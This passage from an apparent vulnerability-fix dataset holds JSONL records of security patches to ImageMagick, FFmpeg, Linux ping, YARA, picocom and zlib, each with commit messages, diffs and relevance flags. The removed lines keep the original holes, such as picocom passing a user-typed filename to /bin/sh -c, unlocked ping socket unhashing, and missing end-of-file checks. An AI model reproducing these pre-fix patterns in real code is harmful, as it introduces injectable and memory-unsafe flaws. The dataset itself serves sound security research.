MagickFalse)\n+ {\n+ ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n+ image->filename);\n+ return(MagickFalse);\n+ }\n w = DIV2(dds_info->width);\n h = DIV2(dds_info->height);\n \n", "related": false}, {"section": "@@ -2457,12 +2394,14 @@ static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size)\n h = DIV2(h);\n }\n }\n+ return(MagickTrue);\n }\n \n /*\n Skip the mipmap images for uncompressed (RGB or RGBA) dds files\n */\n-static void SkipRGBMipmaps(Image *image, DDSInfo *dds_info, int pixel_size)\n+static MagickBooleanType SkipRGBMipmaps(Image *image,DDSInfo *dds_info,\n+ int pixel_size,ExceptionInfo *exception)\n {\n MagickOffsetType\n offset;\n", "related": false}, {"section": "@@ -2481,6 +2420,12 @@ static void SkipRGBMipmaps(Image *image, DDSInfo *dds_info, int pixel_size)\n && (dds_info->ddscaps1 & DDSCAPS_TEXTURE\n || dds_info->ddscaps2 & DDSCAPS2_CUBEMAP))\n {\n+ if (EOFBlob(image) != MagickFalse)\n+ {\n+ ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n+ image->filename);\n+ return(MagickFalse);\n+ }\n w = DIV2(dds_info->width);\n h = DIV2(dds_info->height);\n \n", "related": false}, {"section": "@@ -2496,6 +2441,7 @@ static void SkipRGBMipmaps(Image *image, DDSInfo *dds_info, int pixel_size)\n h = DIV2(h);\n }\n }\n+ return(MagickTrue);\n }\n \n /*\n", "related": false}, {"section": "@@ -2779,10 +2725,10 @@ static void WriteDDSInfo(Image *image, const size_t pixelFormat,\n \n if (compression == FOURCC_DXT1)\n (void) WriteBlobLSBLong(image,\n- (unsigned int) (Max(1,(image->columns+3)/4) * 8));\n+ (unsigned int) (MagickMax(1,(image->columns+3)/4) * 8));\n else\n (void) WriteBlobLSBLong(image,\n- (unsigned int) (Max(1,(image->columns+3)/4) * 16));\n+ (unsigned int) (MagickMax(1,(image->columns+3)/4) * 16));\n \n (void) WriteBlobLSBLong(image,0x00);\n (void) WriteBlobLSBLong(image,(unsigned int) mipmaps+1);", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/utils.c", "commit_id": "2080bc33717955a0e4268e738acf8c1eeddbf8cb", "commit_message": "avcodec/utils: correct align value for interplay\n\nFixes out of array access\nFixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer\n\nFound-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -376,6 +376,10 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,\n w_align = 4;\n h_align = 4;\n }\n+ if (s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {\n+ w_align = 8;\n+ h_align = 8;\n+ }\n break;\n case AV_PIX_FMT_PAL8:\n case AV_PIX_FMT_BGR8:\n@@ -385,7 +389,8 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,\n w_align = 4;\n h_align = 4;\n }\n- if (s->codec_id == AV_CODEC_ID_JV) {\n+ if (s->codec_id == AV_CODEC_ID_JV ||\n+ s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {\n w_align = 8;\n h_align = 8;\n }", "sections": [{"section": "@@ -376,6 +376,10 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,\n w_align = 4;\n h_align = 4;\n }\n+ if (s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {\n+ w_align = 8;\n+ h_align = 8;\n+ }\n break;\n case AV_PIX_FMT_PAL8:\n case AV_PIX_FMT_BGR8:\n", "related": false}, {"section": "@@ -385,7 +389,8 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,\n w_align = 4;\n h_align = 4;\n }\n- if (s->codec_id == AV_CODEC_ID_JV) {\n+ if (s->codec_id == AV_CODEC_ID_JV ||\n+ s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {\n w_align = 8;\n h_align = 8;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv4/ping.c", "commit_id": "43a6684519ab0a6c52024b5e25322476cabad893", "commit_message": "ping: implement proper locking\n\nWe got a report of yet another bug in ping\n\nhttp://www.openwall.com/lists/oss-security/2017/03/24/6\n\n->disconnect() is not called with socket lock held.\n\nFix this by acquiring ping rwlock earlier.\n\nThanks to Daniel, Alexander and Andrey for letting us know this problem.\n\nFixes: c319b4d76b9e (\"net: ipv4: add IPPROTO_ICMP socket kind\")\nSigned-off-by: Eric Dumazet \nReported-by: Daniel Jiang \nReported-by: Solar Designer \nReported-by: Andrey Konovalov \nSigned-off-by: David S. Miller ", "patch": "@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)\n void ping_unhash(struct sock *sk)\n {\n \tstruct inet_sock *isk = inet_sk(sk);\n+\n \tpr_debug(\"ping_unhash(isk=%p,isk->num=%u)\\n\", isk, isk->inet_num);\n+\twrite_lock_bh(&ping_table.lock);\n \tif (sk_hashed(sk)) {\n-\t\twrite_lock_bh(&ping_table.lock);\n \t\thlist_nulls_del(&sk->sk_nulls_node);\n \t\tsk_nulls_node_init(&sk->sk_nulls_node);\n \t\tsock_put(sk);\n \t\tisk->inet_num = 0;\n \t\tisk->inet_sport = 0;\n \t\tsock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);\n-\t\twrite_unlock_bh(&ping_table.lock);\n \t}\n+\twrite_unlock_bh(&ping_table.lock);\n }\n EXPORT_SYMBOL_GPL(ping_unhash);\n ", "sections": [{"section": "@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)\n void ping_unhash(struct sock *sk)\n {\n \tstruct inet_sock *isk = inet_sk(sk);\n+\n \tpr_debug(\"ping_unhash(isk=%p,isk->num=%u)\\n\", isk, isk->inet_num);\n+\twrite_lock_bh(&ping_table.lock);\n \tif (sk_hashed(sk)) {\n-\t\twrite_lock_bh(&ping_table.lock);\n \t\thlist_nulls_del(&sk->sk_nulls_node);\n \t\tsk_nulls_node_init(&sk->sk_nulls_node);\n \t\tsock_put(sk);\n \t\tisk->inet_num = 0;\n \t\tisk->inet_sport = 0;\n \t\tsock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);\n-\t\twrite_unlock_bh(&ping_table.lock);\n \t}\n+\twrite_unlock_bh(&ping_table.lock);\n }\n EXPORT_SYMBOL_GPL(ping_unhash);\n ", "related": false}]} +{"owner": "virustotal", "repo": "yara", "language": "C", "file_name": "libyara/re_lexer.c", "commit_id": "3119b232c9c453c98d8fa8b6ae4e37ba18117cd4", "commit_message": "re_lexer: Make reading escape sequences more robust (#586)\n\n* Add test for issue #503\r\n\r\n* re_lexer: Make reading escape sequences more robust\r\n\r\nThis commit fixes parsing incomplete escape sequences at the end of a\r\nregular expression and parsing things like \\xxy (invalid hex digits)\r\nwhich before were silently turned into (char)255.\r\n\r\nClose #503\r\n\r\n* Update re_lexer.c", "patch": "@@ -190,7 +190,7 @@ typedef size_t yy_size_t;\n \n /* Note: We specifically omit the test for yy_rule_can_match_eol because it requires\n * access to the local variable yy_act. Since yyless() is a macro, it would break\n- * existing scanners that call yyless() from OUTSIDE re_yylex. \n+ * existing scanners that call yyless() from OUTSIDE re_yylex.\n * One obvious solution it to make yy_act a global. I tried that, and saw\n * a 5% performance hit in a non-yylineno scanner, because yy_act is\n * normally declared as a register variable-- so it is not worth it.\n@@ -266,7 +266,7 @@ struct yy_buffer_state\n \n int yy_bs_lineno; /**< The line count. */\n int yy_bs_column; /**< The column count. */\n- \n+\n \t/* Whether to try to fill the input buffer when we reach the\n \t * end of it.\n \t */\n@@ -906,7 +906,7 @@ YY_DECL\n \t\t\tyy_size_t yyl;\n \t\t\tfor ( yyl = 0; yyl < yyleng; ++yyl )\n \t\t\t\tif ( yytext[yyl] == '\\n' )\n-\t\t\t\t\t \n+\t\t\t\t\t\n do{ yylineno++;\n yycolumn=0;\n }while(0)\n@@ -1125,7 +1125,7 @@ YY_RULE_SETUP\n }\n else\n {\n- yyerror(yyscanner, lex_env, \"unexpected end of buffer\");\n+ yyerror(yyscanner, lex_env, \"illegal escape sequence\");\n yyterminate();\n }\n }\n@@ -1180,7 +1180,7 @@ YY_RULE_SETUP\n {\n if (!read_escaped_char(yyscanner, &end))\n {\n- yyerror(yyscanner, lex_env, \"unexpected end of buffer\");\n+ yyerror(yyscanner, lex_env, \"illegal escape sequence\");\n yyterminate();\n }\n }\n@@ -1292,7 +1292,7 @@ YY_RULE_SETUP\n }\n else\n {\n- yyerror(yyscanner, lex_env, \"unexpected end of buffer\");\n+ yyerror(yyscanner, lex_env, \"illegal escape sequence\");\n yyterminate();\n }\n }\n@@ -1763,7 +1763,7 @@ static int yy_get_next_buffer (yyscan_t yyscanner)\n \tyyg->yy_hold_char = *++yyg->yy_c_buf_p;\n \n \tif ( c == '\\n' )\n-\t\t \n+\t\t\n do{ yylineno++;\n yycolumn=0;\n }while(0)\n@@ -2018,9 +2018,9 @@ static void re_yyensure_buffer_stack (yyscan_t yyscanner)\n \t\t\t\t\t\t\t\t, yyscanner);\n \t\tif ( ! yyg->yy_buffer_stack )\n \t\t\tYY_FATAL_ERROR( \"out of dynamic memory in re_yyensure_buffer_stack()\" );\n-\t\t\t\t\t\t\t\t \n+\n \t\tmemset(yyg->yy_buffer_stack, 0, num_to_alloc * sizeof(struct yy_buffer_state*));\n-\t\t\t\t\n+\n \t\tyyg->yy_buffer_stack_max = num_to_alloc;\n \t\tyyg->yy_buffer_stack_top = 0;\n \t\treturn;\n@@ -2049,7 +2049,7 @@ static void re_yyensure_buffer_stack (yyscan_t yyscanner)\n * @param base the character buffer\n * @param size the size in bytes of the character buffer\n * @param yyscanner The scanner object.\n- * @return the newly allocated buffer state object. \n+ * @return the newly allocated buffer state object.\n */\n YY_BUFFER_STATE re_yy_scan_buffer (char * base, yy_size_t size , yyscan_t yyscanner)\n {\n@@ -2177,7 +2177,7 @@ YY_EXTRA_TYPE re_yyget_extra (yyscan_t yyscanner)\n int re_yyget_lineno (yyscan_t yyscanner)\n {\n struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n- \n+\n if (! YY_CURRENT_BUFFER)\n return 0;\n \n@@ -2190,7 +2190,7 @@ int re_yyget_lineno (yyscan_t yyscanner)\n int re_yyget_column (yyscan_t yyscanner)\n {\n struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n- \n+\n if (! YY_CURRENT_BUFFER)\n return 0;\n \n@@ -2365,20 +2365,20 @@ int re_yylex_init_extra(YY_EXTRA_TYPE yy_user_defined,yyscan_t* ptr_yy_globals )\n errno = EINVAL;\n return 1;\n }\n-\t\n+\n *ptr_yy_globals = (yyscan_t) re_yyalloc ( sizeof( struct yyguts_t ), &dummy_yyguts );\n-\t\n+\n if (*ptr_yy_globals == NULL){\n errno = ENOMEM;\n return 1;\n }\n- \n+\n /* By setting to 0xAA, we expose bugs in\n yy_init_globals. Leave at 0x00 for releases. */\n memset(*ptr_yy_globals,0x00,sizeof(struct yyguts_t));\n- \n+\n re_yyset_extra (yy_user_defined, *ptr_yy_globals);\n- \n+\n return yy_init_globals ( *ptr_yy_globals );\n }\n \n@@ -2568,19 +2568,19 @@ int read_escaped_char(\n text[0] = '\\\\';\n text[1] = RE_YY_INPUT(yyscanner);\n \n- if (text[1] == EOF)\n+ if (text[1] == EOF || text[1] == 0)\n return 0;\n \n if (text[1] == 'x')\n {\n text[2] = RE_YY_INPUT(yyscanner);\n \n- if (text[2] == EOF)\n+ if (!isxdigit(text[2]))\n return 0;\n \n text[3] = RE_YY_INPUT(yyscanner);\n \n- if (text[3] == EOF)\n+ if (!isxdigit(text[3]))\n return 0;\n }\n ", "sections": [{"section": "@@ -190,7 +190,7 @@ typedef size_t yy_size_t;\n \n /* Note: We specifically omit the test for yy_rule_can_match_eol because it requires\n * access to the local variable yy_act. Since yyless() is a macro, it would break\n- * existing scanners that call yyless() from OUTSIDE re_yylex. \n+ * existing scanners that call yyless() from OUTSIDE re_yylex.\n * One obvious solution it to make yy_act a global. I tried that, and saw\n * a 5% performance hit in a non-yylineno scanner, because yy_act is\n * normally declared as a register variable-- so it is not worth it.\n", "related": false}, {"section": "@@ -266,7 +266,7 @@ struct yy_buffer_state\n \n int yy_bs_lineno; /**< The line count. */\n int yy_bs_column; /**< The column count. */\n- \n+\n \t/* Whether to try to fill the input buffer when we reach the\n \t * end of it.\n \t */\n", "related": false}, {"section": "@@ -906,7 +906,7 @@ YY_DECL\n \t\t\tyy_size_t yyl;\n \t\t\tfor ( yyl = 0; yyl < yyleng; ++yyl )\n \t\t\t\tif ( yytext[yyl] == '\\n' )\n-\t\t\t\t\t \n+\t\t\t\t\t\n do{ yylineno++;\n yycolumn=0;\n }while(0)\n", "related": false}, {"section": "@@ -1125,7 +1125,7 @@ YY_RULE_SETUP\n }\n else\n {\n- yyerror(yyscanner, lex_env, \"unexpected end of buffer\");\n+ yyerror(yyscanner, lex_env, \"illegal escape sequence\");\n yyterminate();\n }\n }\n", "related": false}, {"section": "@@ -1180,7 +1180,7 @@ YY_RULE_SETUP\n {\n if (!read_escaped_char(yyscanner, &end))\n {\n- yyerror(yyscanner, lex_env, \"unexpected end of buffer\");\n+ yyerror(yyscanner, lex_env, \"illegal escape sequence\");\n yyterminate();\n }\n }\n", "related": false}, {"section": "@@ -1292,7 +1292,7 @@ YY_RULE_SETUP\n }\n else\n {\n- yyerror(yyscanner, lex_env, \"unexpected end of buffer\");\n+ yyerror(yyscanner, lex_env, \"illegal escape sequence\");\n yyterminate();\n }\n }\n", "related": false}, {"section": "@@ -1763,7 +1763,7 @@ static int yy_get_next_buffer (yyscan_t yyscanner)\n \tyyg->yy_hold_char = *++yyg->yy_c_buf_p;\n \n \tif ( c == '\\n' )\n-\t\t \n+\t\t\n do{ yylineno++;\n yycolumn=0;\n }while(0)\n", "related": false}, {"section": "@@ -2018,9 +2018,9 @@ static void re_yyensure_buffer_stack (yyscan_t yyscanner)\n \t\t\t\t\t\t\t\t, yyscanner);\n \t\tif ( ! yyg->yy_buffer_stack )\n \t\t\tYY_FATAL_ERROR( \"out of dynamic memory in re_yyensure_buffer_stack()\" );\n-\t\t\t\t\t\t\t\t \n+\n \t\tmemset(yyg->yy_buffer_stack, 0, num_to_alloc * sizeof(struct yy_buffer_state*));\n-\t\t\t\t\n+\n \t\tyyg->yy_buffer_stack_max = num_to_alloc;\n \t\tyyg->yy_buffer_stack_top = 0;\n \t\treturn;\n", "related": false}, {"section": "@@ -2049,7 +2049,7 @@ static void re_yyensure_buffer_stack (yyscan_t yyscanner)\n * @param base the character buffer\n * @param size the size in bytes of the character buffer\n * @param yyscanner The scanner object.\n- * @return the newly allocated buffer state object. \n+ * @return the newly allocated buffer state object.\n */\n YY_BUFFER_STATE re_yy_scan_buffer (char * base, yy_size_t size , yyscan_t yyscanner)\n {\n", "related": false}, {"section": "@@ -2177,7 +2177,7 @@ YY_EXTRA_TYPE re_yyget_extra (yyscan_t yyscanner)\n int re_yyget_lineno (yyscan_t yyscanner)\n {\n struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n- \n+\n if (! YY_CURRENT_BUFFER)\n return 0;\n \n", "related": false}, {"section": "@@ -2190,7 +2190,7 @@ int re_yyget_lineno (yyscan_t yyscanner)\n int re_yyget_column (yyscan_t yyscanner)\n {\n struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n- \n+\n if (! YY_CURRENT_BUFFER)\n return 0;\n \n", "related": false}, {"section": "@@ -2365,20 +2365,20 @@ int re_yylex_init_extra(YY_EXTRA_TYPE yy_user_defined,yyscan_t* ptr_yy_globals )\n errno = EINVAL;\n return 1;\n }\n-\t\n+\n *ptr_yy_globals = (yyscan_t) re_yyalloc ( sizeof( struct yyguts_t ), &dummy_yyguts );\n-\t\n+\n if (*ptr_yy_globals == NULL){\n errno = ENOMEM;\n return 1;\n }\n- \n+\n /* By setting to 0xAA, we expose bugs in\n yy_init_globals. Leave at 0x00 for releases. */\n memset(*ptr_yy_globals,0x00,sizeof(struct yyguts_t));\n- \n+\n re_yyset_extra (yy_user_defined, *ptr_yy_globals);\n- \n+\n return yy_init_globals ( *ptr_yy_globals );\n }\n \n", "related": false}, {"section": "@@ -2568,19 +2568,19 @@ int read_escaped_char(\n text[0] = '\\\\';\n text[1] = RE_YY_INPUT(yyscanner);\n \n- if (text[1] == EOF)\n+ if (text[1] == EOF || text[1] == 0)\n return 0;\n \n if (text[1] == 'x')\n {\n text[2] = RE_YY_INPUT(yyscanner);\n \n- if (text[2] == EOF)\n+ if (!isxdigit(text[2]))\n return 0;\n \n text[3] = RE_YY_INPUT(yyscanner);\n \n- if (text[3] == EOF)\n+ if (!isxdigit(text[3]))\n return 0;\n }\n ", "related": false}]} +{"owner": "npat-efault", "repo": "picocom", "language": "C", "file_name": "picocom.c", "commit_id": "1ebc60b20fbe9a02436d5cbbf8951714e749ddb1", "commit_message": "Do not use \"/bin/sh\" to run external commands.\n\nPicocom no longer uses /bin/sh to run external commands for\nfile-transfer operations. Parsing the command line and spliting it into\narguments is now performed internally by picocom, using quoting rules\nvery similar to those of the Unix shell. Hopefully, this makes it\nimpossible to inject shell-commands when supplying filenames or\nextra arguments to the send- and receive-file commands.", "patch": "@@ -48,6 +48,7 @@\n #define _GNU_SOURCE\n #include \n \n+#include \"split.h\"\n #include \"term.h\"\n #ifdef LINENOISE\n #include \"linenoise-1.0/linenoise.h\"\n@@ -721,6 +722,9 @@ show_status (int dtr_up)\n \n /**********************************************************************/\n \n+#define RUNCMD_ARGS_MAX 32\n+#define RUNCMD_EXEC_FAIL 126\n+\n void\n establish_child_signal_handlers (void)\n {\n@@ -735,10 +739,8 @@ establish_child_signal_handlers (void)\n \tsigaction (SIGTERM, &dfl_action, NULL);\n }\n \n-#define EXEC \"exec \"\n-\n int\n-run_cmd(int fd, ...)\n+run_cmd(int fd, const char *cmd, const char *args_extra)\n {\n \tpid_t pid;\n \tsigset_t sigm, sigm_old;\n@@ -781,8 +783,10 @@ run_cmd(int fd, ...)\n \t} else {\n \t\t/* child: external program */\n \t\tlong fl;\n-\t\tchar cmd[512];\n-\n+\t\tint argc;\n+\t\tchar *argv[RUNCMD_ARGS_MAX + 1];\n+\t\tint r;\n+\t\t\t\n \t\t/* unmanage terminal, and reset it to canonical mode */\n \t\tterm_remove(STI);\n \t\t/* unmanage serial port fd, without reset */\n@@ -796,37 +800,36 @@ run_cmd(int fd, ...)\n \t\tclose(STO);\n \t\tdup2(fd, STI);\n \t\tdup2(fd, STO);\n-\t\t{\n-\t\t\t/* build command-line */\n-\t\t\tchar *c, *ce;\n-\t\t\tconst char *s;\n-\t\t\tint n;\n-\t\t\tva_list vls;\n-\t\t\t\n-\t\t\tstrcpy(cmd, EXEC);\n-\t\t\tc = &cmd[sizeof(EXEC)- 1];\n-\t\t\tce = cmd + sizeof(cmd) - 1;\n-\t\t\tva_start(vls, fd);\n-\t\t\twhile ( (s = va_arg(vls, const char *)) ) {\n-\t\t\t\tn = strlen(s);\n-\t\t\t\tif ( c + n + 1 >= ce ) break;\n-\t\t\t\tmemcpy(c, s, n); c += n;\n-\t\t\t\t*c++ = ' ';\n-\t\t\t}\n-\t\t\tva_end(vls);\n-\t\t\t*c = '\\0';\n+\t\t\n+\t\t/* build command arguments vector */\n+\t\targc = 0;\n+\t\tr = split_quoted(cmd, &argc, argv, RUNCMD_ARGS_MAX);\n+\t\tif ( r < 0 ) {\n+\t\t\tfd_printf(STDERR_FILENO, \"Cannot parse command\\n\");\n+\t\t\texit(RUNCMD_EXEC_FAIL);\n+\t\t}\n+\t\tr = split_quoted(args_extra, &argc, argv, RUNCMD_ARGS_MAX);\n+\t\tif ( r < 0 ) {\n+\t\t\tfd_printf(STDERR_FILENO, \"Cannot parse extra args\\n\");\n+\t\t\texit(RUNCMD_EXEC_FAIL);\n \t\t}\n+\t\tif ( argc < 1 ) {\n+\t\t\tfd_printf(STDERR_FILENO, \"No command given\\n\");\n+\t\t\texit(RUNCMD_EXEC_FAIL);\n+\t\t}\t\n+\t\targv[argc] = NULL;\n+\t\t\t\n \t\t/* run extenral command */\n-\t\tfd_printf(STDERR_FILENO, \"%s\\n\", &cmd[sizeof(EXEC) - 1]);\n+\t\tfd_printf(STDERR_FILENO, \"$ %s %s\\n\", cmd, args_extra);\n \t\testablish_child_signal_handlers();\n \t\tsigprocmask(SIG_SETMASK, &sigm_old, NULL);\n-\t\texecl(\"/bin/sh\", \"sh\", \"-c\", cmd, NULL);\n-\t\texit(42);\n+\t\texecvp(argv[0], argv);\n+\n+\t\tfd_printf(STDERR_FILENO, \"exec: %s\\n\", strerror(errno));\n+\t\texit(RUNCMD_EXEC_FAIL);\n \t}\n }\n \n-#undef EXEC\n-\n /**********************************************************************/\n \n /* Process command key. Returns non-zero if command results in picocom\n@@ -944,7 +947,7 @@ do_command (unsigned char c)\n \t\t\tfd_printf(STO, \"*** cannot read filename ***\\r\\n\");\n \t\t\tbreak;\n \t\t}\n-\t\trun_cmd(tty_fd, xfr_cmd, fname, NULL);\n+\t\trun_cmd(tty_fd, xfr_cmd, fname);\n \t\tfree(fname);\n \t\tbreak;\n \tcase KEY_BREAK:", "sections": [{"section": "@@ -48,6 +48,7 @@\n #define _GNU_SOURCE\n #include \n \n+#include \"split.h\"\n #include \"term.h\"\n #ifdef LINENOISE\n #include \"linenoise-1.0/linenoise.h\"\n", "related": false}, {"section": "@@ -721,6 +722,9 @@ show_status (int dtr_up)\n \n /**********************************************************************/\n \n+#define RUNCMD_ARGS_MAX 32\n+#define RUNCMD_EXEC_FAIL 126\n+\n void\n establish_child_signal_handlers (void)\n {\n", "related": true}, {"section": "@@ -735,10 +739,8 @@ establish_child_signal_handlers (void)\n \tsigaction (SIGTERM, &dfl_action, NULL);\n }\n \n-#define EXEC \"exec \"\n-\n int\n-run_cmd(int fd, ...)\n+run_cmd(int fd, const char *cmd, const char *args_extra)\n {\n \tpid_t pid;\n \tsigset_t sigm, sigm_old;\n", "related": true}, {"section": "@@ -781,8 +783,10 @@ run_cmd(int fd, ...)\n \t} else {\n \t\t/* child: external program */\n \t\tlong fl;\n-\t\tchar cmd[512];\n-\n+\t\tint argc;\n+\t\tchar *argv[RUNCMD_ARGS_MAX + 1];\n+\t\tint r;\n+\t\t\t\n \t\t/* unmanage terminal, and reset it to canonical mode */\n \t\tterm_remove(STI);\n \t\t/* unmanage serial port fd, without reset */\n", "related": true}, {"section": "@@ -796,37 +800,36 @@ run_cmd(int fd, ...)\n \t\tclose(STO);\n \t\tdup2(fd, STI);\n \t\tdup2(fd, STO);\n-\t\t{\n-\t\t\t/* build command-line */\n-\t\t\tchar *c, *ce;\n-\t\t\tconst char *s;\n-\t\t\tint n;\n-\t\t\tva_list vls;\n-\t\t\t\n-\t\t\tstrcpy(cmd, EXEC);\n-\t\t\tc = &cmd[sizeof(EXEC)- 1];\n-\t\t\tce = cmd + sizeof(cmd) - 1;\n-\t\t\tva_start(vls, fd);\n-\t\t\twhile ( (s = va_arg(vls, const char *)) ) {\n-\t\t\t\tn = strlen(s);\n-\t\t\t\tif ( c + n + 1 >= ce ) break;\n-\t\t\t\tmemcpy(c, s, n); c += n;\n-\t\t\t\t*c++ = ' ';\n-\t\t\t}\n-\t\t\tva_end(vls);\n-\t\t\t*c = '\\0';\n+\t\t\n+\t\t/* build command arguments vector */\n+\t\targc = 0;\n+\t\tr = split_quoted(cmd, &argc, argv, RUNCMD_ARGS_MAX);\n+\t\tif ( r < 0 ) {\n+\t\t\tfd_printf(STDERR_FILENO, \"Cannot parse command\\n\");\n+\t\t\texit(RUNCMD_EXEC_FAIL);\n+\t\t}\n+\t\tr = split_quoted(args_extra, &argc, argv, RUNCMD_ARGS_MAX);\n+\t\tif ( r < 0 ) {\n+\t\t\tfd_printf(STDERR_FILENO, \"Cannot parse extra args\\n\");\n+\t\t\texit(RUNCMD_EXEC_FAIL);\n \t\t}\n+\t\tif ( argc < 1 ) {\n+\t\t\tfd_printf(STDERR_FILENO, \"No command given\\n\");\n+\t\t\texit(RUNCMD_EXEC_FAIL);\n+\t\t}\t\n+\t\targv[argc] = NULL;\n+\t\t\t\n \t\t/* run extenral command */\n-\t\tfd_printf(STDERR_FILENO, \"%s\\n\", &cmd[sizeof(EXEC) - 1]);\n+\t\tfd_printf(STDERR_FILENO, \"$ %s %s\\n\", cmd, args_extra);\n \t\testablish_child_signal_handlers();\n \t\tsigprocmask(SIG_SETMASK, &sigm_old, NULL);\n-\t\texecl(\"/bin/sh\", \"sh\", \"-c\", cmd, NULL);\n-\t\texit(42);\n+\t\texecvp(argv[0], argv);\n+\n+\t\tfd_printf(STDERR_FILENO, \"exec: %s\\n\", strerror(errno));\n+\t\texit(RUNCMD_EXEC_FAIL);\n \t}\n }\n \n-#undef EXEC\n-\n /**********************************************************************/\n \n /* Process command key. Returns non-zero if command results in picocom\n", "related": true}, {"section": "@@ -944,7 +947,7 @@ do_command (unsigned char c)\n \t\t\tfd_printf(STO, \"*** cannot read filename ***\\r\\n\");\n \t\t\tbreak;\n \t\t}\n-\t\trun_cmd(tty_fd, xfr_cmd, fname, NULL);\n+\t\trun_cmd(tty_fd, xfr_cmd, fname);\n \t\tfree(fname);\n \t\tbreak;\n \tcase KEY_BREAK:", "related": true}]} +{"owner": "madler", "repo": "zlib", "language": "C", "file_name": "crc32.c", "commit_id": "d1d577490c15a0c6862473d7576352a9f18ef811", "commit_message": "Avoid pre-decrement of pointer in big-endian CRC calculation.\n\nThere was a small optimization for PowerPCs to pre-increment a\npointer when accessing a word, instead of post-incrementing. This\nrequired prefacing the loop with a decrement of the pointer,\npossibly pointing before the object passed. This is not compliant\nwith the C standard, for which decrementing a pointer before its\nallocated memory is undefined. When tested on a modern PowerPC\nwith a modern compiler, the optimization no longer has any effect.\nDue to all that, and per the recommendation of a security audit of\nthe zlib code by Trail of Bits and TrustInSoft, in support of the\nMozilla Foundation, this \"optimization\" was removed, in order to\navoid the possibility of undefined behavior.", "patch": "@@ -278,7 +278,7 @@ local unsigned long crc32_little(crc, buf, len)\n }\n \n /* ========================================================================= */\n-#define DOBIG4 c ^= *++buf4; \\\n+#define DOBIG4 c ^= *buf4++; \\\n c = crc_table[4][c & 0xff] ^ crc_table[5][(c >> 8) & 0xff] ^ \\\n crc_table[6][(c >> 16) & 0xff] ^ crc_table[7][c >> 24]\n #define DOBIG32 DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4\n@@ -300,7 +300,6 @@ local unsigned long crc32_big(crc, buf, len)\n }\n \n buf4 = (const z_crc_t FAR *)(const void FAR *)buf;\n- buf4--;\n while (len >= 32) {\n DOBIG32;\n len -= 32;\n@@ -309,7 +308,6 @@ local unsigned long crc32_big(crc, buf, len)\n DOBIG4;\n len -= 4;\n }\n- buf4++;\n buf = (const unsigned char FAR *)buf4;\n \n if (len) do {", "sections": [{"section": "@@ -278,7 +278,7 @@ local unsigned long crc32_little(crc, buf, len)\n }\n \n /* ========================================================================= */\n-#define DOBIG4 c ^= *++buf4; \\\n+#define DOBIG4 c ^= *buf4++; \\\n c = crc_table[4][c & 0xff] ^ crc_table[5][(c >> 8) & 0xff] ^ \\\n crc_table[6][(c >> 16) & 0xff] ^ crc_table[7][c >> 24]\n #define DOBIG32 DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4\n", "related": false}, {"section": "@@ -300,7 +300,6 @@ local unsigned long crc32_big(crc, buf, len)\n }\n \n buf4 = (const z_crc_t FAR *)(const void FAR *)buf;\n- buf4--;\n while (len >= 32) {\n DOBIG32;\n len -= 32;\n", "related": false}, {"section": "@@ -309,7 +308,6 @@ local unsigned long crc32_big(crc, buf, len)\n DOBIG4;\n len -= 4;\n }\n- buf4++;\n buf = (const unsigned char FAR *)buf4;\n \n if (len) do {", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/dds.c", "commit_id": "0c5b1e430a83ef793a7334bbbee408cf3c628699", "commit_message": "Added check to prevent image being 0x0 (reported in #489).", "patch": "@@ -1677,16 +1677,15 @@ static Image *ReadDDSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n /*\n Initialize image structure.\n */\n- if (ReadDDSInfo(image, &dds_info) != MagickTrue) {\n+ if (ReadDDSInfo(image, &dds_info) != MagickTrue)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n- }\n- \n+\n if (dds_info.ddscaps2 & DDSCAPS2_CUBEMAP)\n cubemap = MagickTrue;\n- \n+\n if (dds_info.ddscaps2 & DDSCAPS2_VOLUME && dds_info.depth > 0)\n volume = MagickTrue;\n- \n+\n (void) SeekBlob(image, 128, SEEK_SET);\n \n /*\n@@ -1775,7 +1774,10 @@ static Image *ReadDDSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n \n if (volume)\n num_images = dds_info.depth;\n- \n+\n+ if (num_images < 1)\n+ ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n+\n for (n = 0; n < num_images; n++)\n {\n if (n != 0)", "sections": [{"section": "@@ -1677,16 +1677,15 @@ static Image *ReadDDSImage(const ImageInfo *image_info,ExceptionInfo *exception)\n /*\n Initialize image structure.\n */\n- if (ReadDDSInfo(image, &dds_info) != MagickTrue) {\n+ if (ReadDDSInfo(image, &dds_info) != MagickTrue)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n- }\n- \n+\n if (dds_info.ddscaps2 & DDSCAPS2_CUBEMAP)\n cubemap = MagickTrue;\n- \n+\n if (dds_info.ddscaps2 